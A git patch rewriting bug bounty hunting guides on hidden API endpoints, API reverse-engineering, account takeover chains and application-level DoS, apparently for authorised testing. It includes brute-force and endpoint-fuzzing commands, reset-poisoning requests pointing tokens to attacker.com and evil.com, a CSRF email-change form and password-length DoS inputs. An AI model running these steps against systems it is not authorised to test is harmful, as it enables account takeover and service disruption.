From ccb8c25de407b983c63bb91fe838928cd16fe62c Mon Sep 17 00:00:00 2001 From: Omar Abdelsalam Date: Fri, 11 Sep 2026 00:07:34 +0300 Subject: [PATCH] Rework guides into uniform format: merge duplicates, clean code fences, rebuild README/SUMMARY indexes --- .../Hidden_API_Functionality_Exposure.md | 110 +++- API_Testing/README.md | 15 + API_Testing/Reverse_Engineer_an_API.md | 86 ++- .../Account_Takeovers_Methods.md | 165 +++-- Application_Level_DoS/ALD_Methods.md | 131 ++-- Authentication_Bypass/2FA_Bypasses.md | 194 ------ Authentication_Bypass/OTP_Bypass.md | 246 +++---- Authentication_Bypass/account_ban_bypass.md | 82 ++- BrokenLinkHijacking/BrokenLinkHijacking.md | 91 ++- .../Session_based_bugs.md | 204 +++--- CMS/AEM.md | 95 ++- CMS/Drupal.md | 84 ++- CMS/Moodle.md | 61 +- CMS/wordpress.md | 264 ++++---- CORS/CORS.md | 128 ++-- CORS/CORS_Bypasses.md | 101 ++- CSRF/CSRF.md | 294 ++++----- CSRF/Cross_Site_Request_Forgery_Bypass.md | 104 +-- CSRF/README.md | 13 +- CVES/easycve.md | 88 ++- .../Web-Application-Pentesting-checklist.md | 447 ++++++------- EXIF_Geo_Data_Not_Stripped/exif_geo.md | 73 ++- File_Upload/file_upload.md | 607 +++++++----------- File_Upload/old_file_upload_bypass.md | 46 -- FindOriginIP/FindOrigin.md | 158 ++--- GraphQL/GraphQL.md | 182 +++++- .../HTML_Injection_on_password_reset_page.md | 71 +- HTTP_Desync/http_desync.md | 150 +++-- Host-Header/Host-Header.md | 129 +++- IDOR/IDOR-Old.md | 112 ---- IDOR/IDOR.md | 341 ++++++---- JIRA/README.md | 128 +++- JWT/JWT.md | 578 +++++++---------- JWT/OLD_JWT_ATTACK_Notes.md | 107 --- MFA_Bypasses/2FA_Bypass.md | 205 +++++- .../Default_Credential_And_Admin_Panel.md | 92 ++- Misconfigurations/Docker.md | 99 ++- Misconfigurations/S3-Bucket_Misconfig.md | 134 ++-- OAuth/OAuth 2.0 Hunting Methodology.md | 101 --- OAuth/OAuth_2.0_Hunting_Methodology.md | 118 ++++ OAuth/README.md | 10 +- Open_Redirection/Open_Redirection_Bypass.md | 104 ++- Open_Redirection/Open_Redirection_Hunting.md | 78 +++ Open_Redirection/find_OpenRedirect_trick.md | 33 - ...ter_Pollution_in_social_sharing_buttons.md | 90 ++- ...akeover_By_Password_Reset_Functionality.md | 67 +- .../Password_Reset_Flaws_by_Sm4rty.md | 136 ++-- .../Password_Reset_Token_Leakage.md | 75 ++- Password_Reset_Functionality/README.md | 43 +- .../Top_5_Password_Reset_Bugs.md | 176 ++--- README.md | 30 +- Race_Condition/race_conditions.md | 281 ++++---- Rate_limit/Missing_Rate_Limit_Scenarios.md | 146 +++++ Rate_limit/No Rate-Limit on Verify-PhoneNo.md | 17 - Rate_limit/No Rate-limit on Invite User.md | 25 - Rate_limit/No Rate-limit on Promo.md | 11 - Rate_limit/No Rate-limit on Verify-email.md | 19 - .../No Rate-limit on forget-password.md | 21 - Rate_limit/README.md | 84 +-- Rate_limit/RateLimitBypass.md | 211 +++++- Recon/Github_Dorking.md | 169 +++-- Recon/Workflow.md | 109 ++-- Recon/subdomain_enumeration.md | 105 +-- SAML/SAML.md | 368 +++++------ SQLi/SQL_Injection.md | 346 +++++----- SSRF/SSRF-old.md | 111 ---- SSRF/SSRF.md | 513 ++++++++------- SSTI/SSTI.md | 138 +++- SUMMARY.md | 326 +++------- Sensitive_Info_Leaks/Github-dorks.md | 252 ++++---- Sensitive_Info_Leaks/Github_Recon_Method.md | 55 +- Sensitive_Info_Leaks/Github_dorks_all.md | 157 +++-- Sensitive_Info_Leaks/Google_Dorks.md | 69 +- Sensitive_Info_Leaks/README.md | 19 + Sensitive_Info_Leaks/Shodan_cve_dorks.md | 64 +- Sensitive_Info_Leaks/Version_Leak.md | 70 +- .../Hunting_for_bugs_in_signup_feature.md | 215 +++---- Status_Code_Bypass/403Bypass.md | 112 +++- Status_Code_Bypass/README.md | 41 +- Subdomain_Takeover/Easy_Methods.md | 104 +-- .../Sub_or_top_level_domain_takeover.md | 119 ++-- Subdomain_Takeover/Subdomain_Takeover.md | 109 ++-- Tabnabbing/Tabnabbing.md | 73 ++- WAF_Bypasses/WAF_Bypass_Using_headers.md | 110 ++-- Weak_Password_Policy/Weak_password_policy.md | 106 ++- Web_Source_Review/codereviewtips.md | 119 ++-- XSS/Automated_XSS.md | 76 +-- XSS/Bypass_CSP.md | 152 ++--- XSS/XSS_Bypass.md | 151 ++++- XSS/Xss.md | 266 +++----- XSS/post_message_xss.md | 106 +-- XXE/Billion_Laugh_Attack.md | 59 +- XXE/XXE_Methods.md | 160 ++++- 93 files changed, 7374 insertions(+), 5666 deletions(-) create mode 100644 API_Testing/README.md delete mode 100644 Authentication_Bypass/2FA_Bypasses.md delete mode 100644 File_Upload/old_file_upload_bypass.md delete mode 100644 IDOR/IDOR-Old.md delete mode 100644 JWT/OLD_JWT_ATTACK_Notes.md delete mode 100644 OAuth/OAuth 2.0 Hunting Methodology.md create mode 100644 OAuth/OAuth_2.0_Hunting_Methodology.md create mode 100644 Open_Redirection/Open_Redirection_Hunting.md delete mode 100644 Open_Redirection/find_OpenRedirect_trick.md create mode 100644 Rate_limit/Missing_Rate_Limit_Scenarios.md delete mode 100644 Rate_limit/No Rate-Limit on Verify-PhoneNo.md delete mode 100644 Rate_limit/No Rate-limit on Invite User.md delete mode 100644 Rate_limit/No Rate-limit on Promo.md delete mode 100644 Rate_limit/No Rate-limit on Verify-email.md delete mode 100644 Rate_limit/No Rate-limit on forget-password.md delete mode 100644 SSRF/SSRF-old.md create mode 100644 Sensitive_Info_Leaks/README.md diff --git a/API_Testing/Hidden_API_Functionality_Exposure.md b/API_Testing/Hidden_API_Functionality_Exposure.md index d7746ddd..93be60f2 100644 --- a/API_Testing/Hidden_API_Functionality_Exposure.md +++ b/API_Testing/Hidden_API_Functionality_Exposure.md @@ -1,24 +1,100 @@ # Hidden API Functionality Exposure -- Application programming interfaces (APIs) have become a critical part of almost every business. APIs are responsible for transferring information between systems within a company or to external companies. For example, when you log in to a website like Google or Facebook, an API processes your login credentials to verify they are correct. -1. Swagger UI Documentation -2. Dictionary Attack | Brute force -3. Common wordlist for API Enum : -- https://wordlists.assetnote.io/ -- https://github.com/Net-hunter121/API-Wordlist +APIs are the backbone of modern applications, carrying data between internal systems and external consumers — but teams frequently expose functionality that was never meant to be public: interactive API docs (Swagger/OpenAPI), debug/admin endpoints, unreleased version routes, and entire hidden endpoint trees. Discovering these gives attackers a ready-made map of the attack surface and, when the docs or endpoints lack authentication, direct access to sensitive functionality and data. Impact ranges from full API schema disclosure to unauthenticated CRUD on backend objects. -## Steps to Perform This Attack : +## Hunting Checklist + +1. Capture normal application traffic and note the API base paths and versioning style (`/api/v1/...`). +2. Check for exposed documentation UIs (Swagger UI, OpenAPI JSON/YAML, ReDoc, Postman/GraphQL equivalents) at common paths. +3. If no docs are found, brute-force endpoint paths with API-specific wordlists (steps below). +4. Compare status codes/lengths to filter noise; chase every HTTP 200 on a hidden endpoint. +5. Recursively fuzz interesting endpoints (`/v1/users` → `/v1/users/export`, `/v1/users/admin`, ...). +6. Sweep API versions: an endpoint blocked on `/api/v3/` may work unchanged on `/api/v1/` or `/api/v2/`. +7. Test the same endpoints unauthenticated vs authenticated to find missing auth checks on hidden functionality. +8. Mine JS bundles for API paths/parameters the UI never renders (routes for admin/staff features). +9. Correlate with other modules: found endpoints should also be tested for IDOR, BOLA, mass assignment, rate limiting. + +## Test Cases & Examples + +### 1. Swagger / API documentation exposure + +Try the common documentation paths on the API host: + +```http +GET /swagger/index.html HTTP/1.1 +GET /swagger-ui.html HTTP/1.1 +GET /swagger-ui/index.html HTTP/1.1 +GET /api/swagger-ui.html HTTP/1.1 +GET /api-docs HTTP/1.1 +GET /openapi.json HTTP/1.1 +GET /v2/api-docs HTTP/1.1 +GET /v3/api-docs HTTP/1.1 +GET /documentation HTTP/1.1 +GET /apispec.json HTTP/1.1 ``` -Step 1 : Capture the request into Burp, Send the request to repeater and intruder tab. -Step 2 : Add the endpoint into the intruder tab and add the payload from the word-list. -Step 3 : First use dictionary attack with SecLists (https://github.com/danielmiessler/SecLists) on the Endpoint. -Step 4 : Either use your customized list or use the ones which I have provided in the above step. -Step 5 : Then simply start the attack, start checking for 200 status. -Step 7 : Once there is HTTP 200 OK status, start the recursive scan on the same endpoint for juicy information like swagger doc and so on. -step 8 : Other method is to change the API version and try bruteforcing the same endpoint -Eg: Redacted.com/api/v1/{Endpoint} ----- Redacted.com/api/v2/{Endpoint} + +A 200 on any of these hands you every endpoint, parameter, and model of the API — including hidden admin/debug functions. From the docs (or `swagger.json`/`openapi.json`), extract the endpoint list and feed it into your fuzzer. + +### 2. Dictionary attack / endpoint brute force + +Steps to perform this attack: + +1. Capture a request into Burp, send it to Repeater and Intruder. +2. Add the endpoint path as the payload position and load an API wordlist. +3. First use a dictionary attack with [SecLists](https://github.com/danielmiessler/SecLists) against the endpoint. +4. Then use a customized list or one of the API-specific lists (see Tools below). +5. Start the attack and filter results for HTTP 200. +6. Once there is an HTTP 200 OK, start a recursive scan on that same endpoint for juicy information like swagger docs and so on. +7. Alternative method: change the API version and bruteforce the same endpoint. + +Same flow with a CLI fuzzer: + +```bash +ffuf -u 'https://target.com/api/v1/FUZZ' \ + -w SecLists/Discovery/Web-Content/api/api-endpoints.txt \ + -mc 200,201,204,401,403,405 -fs 0 ``` -* Note: There will be minimum limits per request which will be assigned without API keys so make sure to utilize manual approach as much as you can, then the rest can be automated for scanning the vulnerability in API with automated tools. -## Contributor: +### 3. API version sweeps + +```http +GET https://redacted.com/api/v1/{Endpoint} → 403/404 +GET https://redacted.com/api/v2/{Endpoint} → 200 OK +``` + +```bash +for v in v1 v2 v3 beta internal admin; do + curl -sk -o /dev/null -w "%{http_code} /api/$v/users\n" "https://target.com/api/$v/users" +done +``` + +### 4. Response-code triage + +Hidden endpoints often differ from 404 noise: a `401/403` on an unlinked endpoint proves it exists, `405` means it exists with another verb (try GET/POST/PUT/DELETE/OPTIONS), and `200` on a GET to a normally-POSTed route can leak data or docs. + +## Bypass Techniques + +- **Rate limits / anti-bot on fuzzing:** there is a minimum request limit per unauthenticated session (no API key) — so utilize a manual approach as much as you can for high-value paths, then automate the rest of the scanning. +- **Version-based WAF gaps:** `v1` routes are commonly excluded from the rules that protect the current `v3` API. +- **Trailing slash / dot / case variants:** `/api/users` vs `/api/users/` vs `/API/Users` can evade naive path matching. +- **Docs JSON without the UI:** `/swagger-ui.html` may be blocked while `/swagger.json`, `/openapi.json`, or `/v2/api-docs` is still served. + +## Tools & Resources + +- [Assetnote API wordlists](https://wordlists.assetnote.io/) — high-quality, continuously refined API endpoint/prefix lists. +- [Net-hunter121/API-Wordlist](https://github.com/Net-hunter121/API-Wordlist) +- [SecLists](https://github.com/danielmiessler/SecLists) — `Discovery/Web-Content/api/` +- [OWASP API Security Top 10](https://owasp.org/www-project-api-security/) — project-BOLA and API inventory context. +- Burp Suite (Intruder/Repeater), ffuf, or Kiterunner (routes built from API specs). +- [Swagger Editor](https://editor.swagger.io/) — render any discovered `spec.json`/`spec.yml`. + +## Report Tips + +- Show the exact exposed URLs and, for docs, a redacted screenshot proving they describe the *production* API (endpoint count, auth flows listed). +- Escalate the finding: don't just report Swagger UI — pick one undocumented endpoint it revealed and demonstrate real impact (unauthorized data read, admin action). +- Quantify enumeration: "successfully enumerated N hidden endpoints / M admin functions, all unauthenticated" gives triage a measurable scope statement. +- Note if the exposed API schema leaks internal implementation details (stack trace shapes, internal ids, PII field names) that aid further attacks. + +## Contributor + - [N3T_hunt3r](https://twitter.com/N3T_hunt3r) diff --git a/API_Testing/README.md b/API_Testing/README.md new file mode 100644 index 00000000..3a6ca63f --- /dev/null +++ b/API_Testing/README.md @@ -0,0 +1,15 @@ +# API Testing + +Practical methodology for hunting bugs in APIs. + +## Guides + +* [Hidden API Functionality Exposure](Hidden_API_Functionality_Exposure.md) +* [Reverse Engineer an API](Reverse_Engineer_an_API.md) + +## Related + +* [GraphQL Hunting](../GraphQL/GraphQL.md) +* [IDOR](../IDOR/IDOR.md) - most API bugs end up as broken object-level authorization +* [JWT Attacks](../JWT/JWT.md) +* [Rate Limit Bypasses](../Rate_limit/RateLimitBypass.md) diff --git a/API_Testing/Reverse_Engineer_an_API.md b/API_Testing/Reverse_Engineer_an_API.md index 52119e9a..813ef7c4 100644 --- a/API_Testing/Reverse_Engineer_an_API.md +++ b/API_Testing/Reverse_Engineer_an_API.md @@ -1,19 +1,69 @@ # Reverse Engineer an API - - -## Tools to use -1. FoxyProxy -2. mitmweb -3. mitmproxy2swagger -4. https://editor.swagger.io/ -5. Postman - -## Steps to Reproduce -1. **Foxyproxy:** Turn on 8080 port using Foxy Proxy.(Label it anything you want) -2. **mitmweb:** Run `sudo mitmweb` and then go to mitm.it and install & import the certificate. -3. **Explore Website w/ API's functionalities:** Go to the website w/ api that you want to gather the API endpoints from and explore it's functionalities.
The mitmweb tool will capture it, -afterwards you can download the captures as a flow file in mitmweb by clicking on file -> save all. -4. **mitmproxy2swagger:** Here we run `sudo mitmproxy2swagger -i flows -o spec.yml -p -f flow`. This will turn flows file to a yml file. Afterwards you need to remove the ignore: in the spec.yml and run -`sudo mitmproxy2swagger -i flows -o spec.yml -p -f flow --examples`, --examples is added to enhance the documentation of the api endpoints. -5. **https://editor.swagger.io/:** Now you can import the clean spec.yml file and visualize the different endpoints. -6. **Postman:** You can also import the spec.yml in postman which will produce a well organized collection. + +Many products are driven by private mobile/desktop or undocumented web APIs with no published specification — but security testing of those APIs (auth flaws, hidden endpoints, business-logic abuse) starts with rebuilding their interface. This technique captures live traffic through a proxy, converts the recorded flows into an OpenAPI/Swagger specification, and turns it into a structured, testable API collection. The output becomes your attack-surface inventory for IDOR, rate-limit, and mass-assignment hunting. + +## Hunting Checklist + +1. Set up a local proxy on a known port (FoxyProxy to flip browser/mobile traffic on and off). +2. Run `mitmweb`, then visit `mitm.it` from the proxied device to install and trust the CA certificate. +3. Browse the target application and exercise *every* functional flow so the proxy records a representative corpus of API calls. +4. Export the recorded traffic (`File → Save all`) to a flows file. +5. Convert the flows file into a spec with `mitmproxy2swagger` (run twice: clean pass, then `--examples` pass for documentation). +6. Remove the `ignore:` markers the tool inserts so all endpoints are kept in the spec. +7. Import the spec into Swagger Editor to visualize and audit every endpoint, verb, and parameter. +8. Import the same spec into Postman to get a ready-made, organized collection for replay and fuzzing. +9. Review the collection for endpoints not referenced in the UI (hidden functions), then test authentication and object-level authorization on each. + +## Test Cases & Examples + +### 1. Start the proxy + +```bash +# FoxyProxy: create a proxy profile pointing at 127.0.0.1:8080 (label it anything you want) and enable it +sudo mitmweb --listen-port 8080 +``` + +Then go to `http://mitm.it` through the proxy and install/import the certificate on the testing machine or device. + +### 2. Capture and export + +Explore the website/app and use its API-backed functionality — mitmweb records everything. Download the captures as a flow file: click `File → Save all`. + +### 3. Generate the spec + +```bash +# Pass 1 — baseline spec from the recorded flows file +sudo mitmproxy2swagger -i flows -o spec.yml -p '' -f flow + +# Edit spec.yml: delete the `ignore:` lines so no endpoint is dropped + +# Pass 2 — same command with --examples to embed request/response examples +# (enhances the documentation of the API endpoints) +sudo mitmproxy2swagger -i flows -o spec.yml -p '' -f flow --examples +``` + +### 4. Visualize and test + +- Import the clean `spec.yml` into [Swagger Editor](https://editor.swagger.io/) to visualize the different endpoints. +- Import the same `spec.yml` in Postman to produce a well-organized collection — then replay with a second account's credentials and diff responses (auth/authz testing). + +## Bypass Techniques + +- **HTTPS inspection on mobile/emulators:** mitmweb works once its CA is installed; where certificate pinning blocks interception, standard practice is to bypass pinning on a rooted device/emulator with Frida/objection — only do this on apps you are authorized to test. +- **Endpoints mitmproxy2swagger lumps together:** regex-path-normalized variables (ids, UUIDs) can hide distinct routes — check the raw flow list in mitmweb and add narrower `-p` patterns if the spec looks under-populated. +- **Partial captures:** parameters seen only in one client platform (iOS) may be missing from a desktop-only capture; record flows across every client the API serves. + +## Tools & Resources + +1. [FoxyProxy](https://getfoxyproxy.org/) — browser proxy switcher (port 8080). +2. [mitmweb](https://docs.mitmproxy.org/stable/tools-mitmweb/) — interactive MITM proxy with web UI. +3. [mitmproxy2swagger](https://github.com/mitmproxy2swagger/mitmproxy2swagger) — flows file → OpenAPI spec converter. +4. [Swagger Editor](https://editor.swagger.io/) — visualize/import the generated `spec.yml`. +5. [Postman](https://www.postman.com/) — import the spec as a collection for replay/fuzzing. +6. Burp Suite can replace this pipeline once the endpoints are known — use it for the actual security testing. + +## Report Tips + +- Frame the impact around what the rebuilt spec revealed: "undocumented API surface of N endpoints, including admin/financial functions" is the finding, not the tooling. +- Attach (redacted) spec snippets and a short replay PoC showing an endpoint performing its function with an unauthorized/other-user session. +- A reverse-engineered API is the evidence base for stronger chained findings (BOLA, missing rate limits, mass assignment) — reference this inventory in those reports so triage can reproduce quickly. diff --git a/Account_Takeovers_Methodologies/Account_Takeovers_Methods.md b/Account_Takeovers_Methodologies/Account_Takeovers_Methods.md index 2985d0e5..e3c95215 100644 --- a/Account_Takeovers_Methodologies/Account_Takeovers_Methods.md +++ b/Account_Takeovers_Methodologies/Account_Takeovers_Methods.md @@ -1,76 +1,113 @@ +# Account Takeover Methodologies -## Chaining Session Hijacking with XSS -``` -1.I have added a session hijacking method in broken authentication and session management. -2.If you find that on target. -3.Try anyway to steal cookies on that target. -4.Here I am saying look for xss . -5.If you find xss you can steal the cookies of victim and using session hijacking you can takeover the account of victim. -``` -## No Rate Limit On Login With Weak Password Policy -``` -So if you find that target have weak password policy, try to go for no rate limit attacks in poc shows by creating very weak password of your account. +Account Takeover (ATO) means reading or modifying another user's account without their credentials. It is the highest-frequency "critical" in bug bounty programs because it combines auth, session, reset, and input-handling flaws into a single business-impacting outcome. Typical severity: P1–P2 when proven on a victim-controlled account. -(May or may not be accepted) -``` -## Password Reset Poisioning Leads To Token Theft +This file is a *chaining playbook*: each technique below is a link you combine with a smaller finding (XSS, missing rate limit, response trust, token leak) to reach full ATO. + +## Hunting Checklist + +1. Start from the three ATO entry points: login, password reset, and email/username change. +2. Check session lifetime: can cookies survive logout, password change, or account deletion? Pair any XSS you find with cookie theft. +3. Check credential-entry defenses: rate limiting on login, weak password policy, lockout scope. +4. Poison the reset flow: inject a foreign `Host` / `X-Forwarded-Host` / `Referrer` into the forgot-password request and see where the reset link points. +5. Test trust boundaries: does any client consume server responses it shouldn't (auth/OTP "false" flipped to "true")? +6. Test every state-changing auth operation (change password, change email, security questions, MFA disable) for CSRF. +7. Intercept responses of registration and password-reset requests for tokens/OTP/links reflected in the body. +8. Chain everything: low-sev leak + missing expiry + CSRF = ATO report. + +## Test Cases & Examples + +### 1. Chaining Session Hijacking with XSS +1. Note the session-hijacking behavior in `Broken_Auth_And_Session_Management/Session_based_bugs.md` (cookies valid after logout). +2. If the same target has XSS, the impact ceiling rises: XSS is no longer "just" XSS. +3. Fire a cookie-stealing payload on a logged-in victim: +```html + ``` -1.Go to password reset funtion. -2.Enter email and intercept the request. -3.Change host header to some other host i.e, - Host:target.com - Host:attacker.com - also try to add some headers without changing host like - X-Forwarded-Host: evil.com - Referrer: https://evil.com -4.Forward this if you find that in next request attacker.com means you managed to successfully steal the token. :) +4. Replay the stolen cookie to take over the victim's session. + +### 2. No Rate Limit on Login + Weak Password Policy +1. Confirm the app enforces no minimum password complexity (accepts `123456`). +2. Create your own account with a weak password and prove login has no rate limit/lockout. +3. PoC by brute-forcing *your own* account to show an attacker could do the same against any user: +```bash +hydra -l victim@example.com -P top1000.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:invalid" ``` -## Using Auth Bypass +- Note: some programs treat "no rate limit" alone as acceptable risk — pair it with the weak policy in the impact statement (may or may not be accepted). + +### 3. Password Reset Poisoning → Token Theft +1. Open the forgot-password function and intercept the request. +2. Swap the `Host` header to your controlled domain: +```http +POST /api/forgot-password HTTP/1.1 +Host: attacker.com +Content-Type: application/json + +{"email":"victim@example.com"} ``` -Check out Auth Bypass method, there is a method for OTP bypass via response manipulation, this can leads to account takeovers. -1.Enter the wrong auth code / Password -2.Capture a auth request in burpsuite and send it to repeater -3.Check for the resoponse -4.Change the respone by manipulating the following parameters - {“code”:”invalid_credentials”} -> {“code”:”valid_credentials”} - {“verify”:”false”} -> {“verify”:”true”} - - +3. If not, add poisoning headers *without* touching `Host`: +```http +X-Forwarded-Host: evil.com +Referer: https://evil.com ``` -## Try For CSRF On +4. Forward the request. If the reset email now contains `attacker.com`/`evil.com`, the reset token is delivered to you → full ATO. + +### 4. Auth Bypass via Response Manipulation +Wrong code/password flows that only the *client* judges: +1. Enter a wrong auth code / password; capture the response in Burp (Repeater). +2. Edit the response before it reaches the browser: +```json +{"code":"invalid_credentials"} → {"code":"valid_credentials"} +{"verify":"false"} → {"verify":"true"} ``` -1.Change Password function. -2.Email change -3.Change Security Question +3. If the app proceeds to an authenticated state, ATO is possible for any account (see `MFA_Bypasses/2FA_Bypass.md` for the 2FA variant). + +### 5. CSRF on Account-Linking Operations +Test for missing anti-CSRF tokens on: +- Change Password +- Change Email +- Change Security Questions +- Enable/Disable 2FA, delete account, add device + +Example HTML PoC (email change): +```html +
+ +
+ ``` -## Token Leaks In Response +Email-change CSRF → password reset to the attacker's address → ATO. -* So there are multiple ways to do it but all are same. +### 6. Token / OTP Leakage in Responses +Multiple routes share the same root cause: the server echoes the secret it just emailed/texted. -* So I will sharing my method that I have learnt here . +Registration: +1. Intercept the signup request containing your data. +2. Burp → Action → "Do intercept" → response to this request → forward. +3. Check the response body for any verification link, token, or OTP. -* Endpoints:(Register,Forget Password) +Password reset: +1. Intercept the forgot-password request the same way. +2. Check the response for a reset link/token/OTP — if present, anyone who can trigger the flow can complete it without touching the victim's mailbox → ATO. -* Steps(For Registration): -``` - 1. For registeration intercept the signup request that contains the data you have entered. - 2. Click on action -> do -> intercept the response to this request. - 3. Click forward. - 4. Check response if that contains any link, any token or OTP. - ``` - ------------------------ - * Steps (For password reset): - ``` - 1. Intercept the forget password option. - 2. Click on action -> do -> intercept the response to this request. - 3. Click forward. - 4. Check response if that contains any link,any token or OTP. - ``` - -## Reference: -* Various Source From Google,Twitter,Medium -* https://avanishpathak.medium.com/an-account-takeover-vulnerability-due-to-response-manipulation-e23fe629bd1 - -## Author -* [@Virdoex_hunter](https://twitter.com/Virdoex_hunter) -* [@v3daxt](https://twitter.com/v3daxt) +## Bypass Techniques + +- Combine poisoning vectors: `Host`, `X-Forwarded-Host`, `X-Forwarded-For`, `Referer`, absolute `Return-Path`-style params, and email-parameter pollution (see `Password_Reset_Functionality/`). +- If the reset token is bound to the session, drop cookies on the reset page and observe whether binding actually matters to your chain. +- Response manipulation works best when the check is in a SPA/frontend — try Match-and-Replace rules so the bypass survives page refreshes during the PoC. + +## Tools & Resources + +- Burp Suite (Proxy, Repeater, Intruder, Match-and-Replace), Hydra for credential PoCs. +- [An Account Takeover Vulnerability Due to Response Manipulation – Avanish Pathak](https://avanishpathak.medium.com/an-account-takeover-vulnerability-due-to-response-manipulation-e23fe629bd1) +- Related files in this repo: `Password_Reset_Functionality/`, `MFA_Bypasses/2FA_Bypass.md`, `Authentication_Bypass/OTP_Bypass.md`, `Broken_Auth_And_Session_Management/Session_based_bugs.md`, `CSRF/CSRF.md`, `XSS/Xss.md`. + +## Report Tips + +- Always demonstrate on a *victim* account you control (second account) and end the chain at attacker-winner state (e.g., reading victim's private data), not just "header changed". +- State the preconditions honestly: what an attacker needs (email only? one click?) — triage downgrades chains that require the victim's own session. +- Rate-limit + weak-policy combos land better when quantified: "N passwords/sec sustained for M minutes with no lockout". + +## Credits + +- [@Virdoex_hunter](https://twitter.com/Virdoex_hunter), [@v3daxt](https://twitter.com/v3daxt); sources: Google/Twitter/Medium. diff --git a/Application_Level_DoS/ALD_Methods.md b/Application_Level_DoS/ALD_Methods.md index e4e3e614..dbf7233e 100644 --- a/Application_Level_DoS/ALD_Methods.md +++ b/Application_Level_DoS/ALD_Methods.md @@ -1,88 +1,101 @@ +# Application-Level Denial of Service (ALDoS) -## 1. Email Bounce Issues -- Check if Application has Invite Functionality -- Try sending Invites to Invalid Email Accounts -- Try to find Email Service Provider such as AWS SES , Hubspot , Campaign Monitor -**Note: You can find Email Service Provider by checking Email Headers** -* Once you have the Email Service Provider, Check there Hard Bounce Limits. Here are the limits for some of them: - - **1. Hubspot Hard bounces:** HubSpot's hard bounce limit is 5%. For reference, many ISPs prefer bounce rates to be under 2%. - - **2. AWS SES:** The rate of SES ranges from first 2-5% then 5-10% +Application-Level DoS is a logic-level bug class: instead of flooding bandwidth, the attacker drives cheap, feature-level actions that consume disproportionate server resources (hashing, lookups, email provider reputation) or lock legitimate users out. It matters because it survives infrastructure DDoS protection and can brick real business functions (no emails sent, login broken, endpoints hanging). Severity usually ranges from medium (temporary self/limited DoS) down to low, unless permanent or affecting the whole user base. -***Impact: Once the Hard Bounce Limits are reached, Email Service Provider will block the Company which means, No Emails would be sent to the Users !*** +## Hunting Checklist -## 2. Long Password DoS Attack +1. **Email bounce DoS**: find invite / "send email to" functionality; submit invalid, non-existent, or typo'd addresses; check the mail headers to identify the Email Service Provider (AWS SES, HubSpot, Campaign Monitor, ...). +2. Look up that provider's hard-bounce threshold; repeatedly trigger bounces *within scope* and confirm the company risks being blocked by the ESP. +3. **Long password DoS**: registration usually restricts password length — check Forgot-Password and Change-Password (authenticated) fields, where the limit is often missing. +4. Submit a ~150–200 character password to detect the absence of a length restriction; if none, go much longer and watch response time / app stability. +5. Use the repo's `Password.txt` sample as the oversized input (see Tools) — ⚠️ do not use more than 5000 characters as a password during testing. +6. **Long string DoS**: put very long strings (e.g., 1000+ characters) into stored fields (username, address, profile picture filename) and trigger expensive consumers of that data (search user A from account B). +7. **Account-lockout abuse**: test whether repeated wrong logins lock accounts, how long the lock lasts, and whether old sessions are invalidated. +8. Observe measurable degradation (timeouts, 500s, lockouts) — a slower-but-fine response is not a finding. -- As the value of password is hashed and then stored in Databases. If there is no limit on the length of the Password, it can lead to consumption of resources for Hashing the Long Password. +## Test Cases & Examples -**How to test?** +### 1. Email bounce DoS -- Use a Password of length around 150-200 words to check the presense of Length Restriction -- If there is no Restriction, Choose a longer password and keep a eye on Response Time -- Check if the Application Crashes for few seconds +```http +POST /api/invites HTTP/1.1 +Host: example.com +Content-Type: application/json -**Where to test?** +{"email":"nonexistent-random-1a2b3@example.tld","role":"member"} +``` + +- Send invites to invalid email accounts via the invite functionality. +- Identify the ESP from email headers. +- Known hard-bounce tolerances: HubSpot's hard-bounce limit is 5% (many ISPs prefer <2%); AWS SES escalates from 2–5% up to 5–10%. -- Registration Password Field is usually restricted but the Length of Password on the Forgot Password Page and the Change Password (As Authenticated User) Functionality is usually missing. +**Impact**: once hard-bounce limits are reached, the ESP blocks the company — no more emails reach its users. +### 2. Long password DoS -## 3. Long String DOS +Passwords are hashed before being stored; hashing cost grows with input length, and unlimited-length fields let one cheap request burn CPU. -* When you set some string so long so server cannot process it anymore it cause DOS sometime +```http +POST /api/change-password HTTP/1.1 +Host: example.com +Content-Type: application/json -**How to test** +{"current_password":"OldPass1!","new_password":"<200,000 x 'A'>"} ``` -Create app and put field like username or address or even profile picture name parameter ( second refrence ) like 1000 character of string . -Search A's account from B's account either it will + +```bash +# generate the long input +python3 -c "print('A'*200000)" > long.txt ``` -- Either it will keeping on searching for long time -- Either the application will crash (500 - Error Code) +Where to test: Forgot-Password and authenticated Change-Password endpoints (Registration is usually restricted but the others usually aren't). Watch for multi-second responses or the application hanging/crashing briefly. -## Use Password From Password.txt -⚠️`it's not recommended using more than 5000 characters as password.` -- Here is the [Password.txt](https://raw.githubusercontent.com/KathanP19/HowToHunt/master/Application_Level_DoS/Password.txt) +### 3. Long string DoS -## 4. Permanent DOS to victim -This is not Application Level DOS but a Permanent DOS to victim. -In some website user get blocked after trying to loging in with wrong credidentials.We will untilize this feature as bug :D. +```bash +python3 -c "print('A'*1000)" # then use as username/address/filename value +``` + +Set a 1000+ character string in a stored field (username, address, or profile picture name), then trigger its consumer — e.g., search account A's long username from account B's session. Either the search spins for a long time or the application crashes (500 error). -**How to check**. -- Go to login page of example.com. -- Now enter valid account email and wrong password . -- Try to login with these details for few times(at least 10-20 times).You can use repeater or intruder in burpsuite. -- If your account get blocked, check the blocking time period.If the blocking time period is more than 30 min .You can report it. +### 4. Account lockout — permanent DoS to a victim -**Point to Remember** -- Make sure there is no captcha during login because we cann't make any automated tool to loop the request. -- Make sure Old session are expired after being blocked. +This is not classic ALDoS but a permanent DoS against one victim, abusing the lockout feature itself: -**What is priority of this bug?** -- If the user get permanently block after some wrong attempts this is considered as P2. -- If the user get temporarly block this is considered as P3/P4. +1. On `example.com` login, enter a valid account email + wrong password 10–20 times (Burp Repeater/Intruder). +2. If the account gets blocked, measure the blocking period; > 30 minutes is reportable. +3. Confirm no CAPTCHA is present (otherwise the attack can't be automated/looped). +4. Check whether old sessions remain valid after the lock. -During report try to add impact by saying that you can permanently block user account by looping this request with some intervals. +```http +POST /login HTTP/1.1 +Host: example.com +Content-Type: application/x-www-form-urlencoded +email=victim@example.com&password=wrongpass +``` -## Reference : -\- Email Bounce Issues -* [https://medium.com/bugbountywriteup/an-unexpected-bounty-email-bounce-issues-b9f24a35eb68](https://medium.com/bugbountywriteup/an-unexpected-bounty-email-bounce-issues-b9f24a35eb68) +## Bypass Techniques -\- Long Password DoS Attack +- Length/character restrictions on one field rarely apply to its siblings (reset vs change vs register vs username/address fields) — move laterally across the same value's endpoints. +- If inputs are trimmed server-side, pad with data the consumer must still process (multibyte characters in string-search DoS) rather 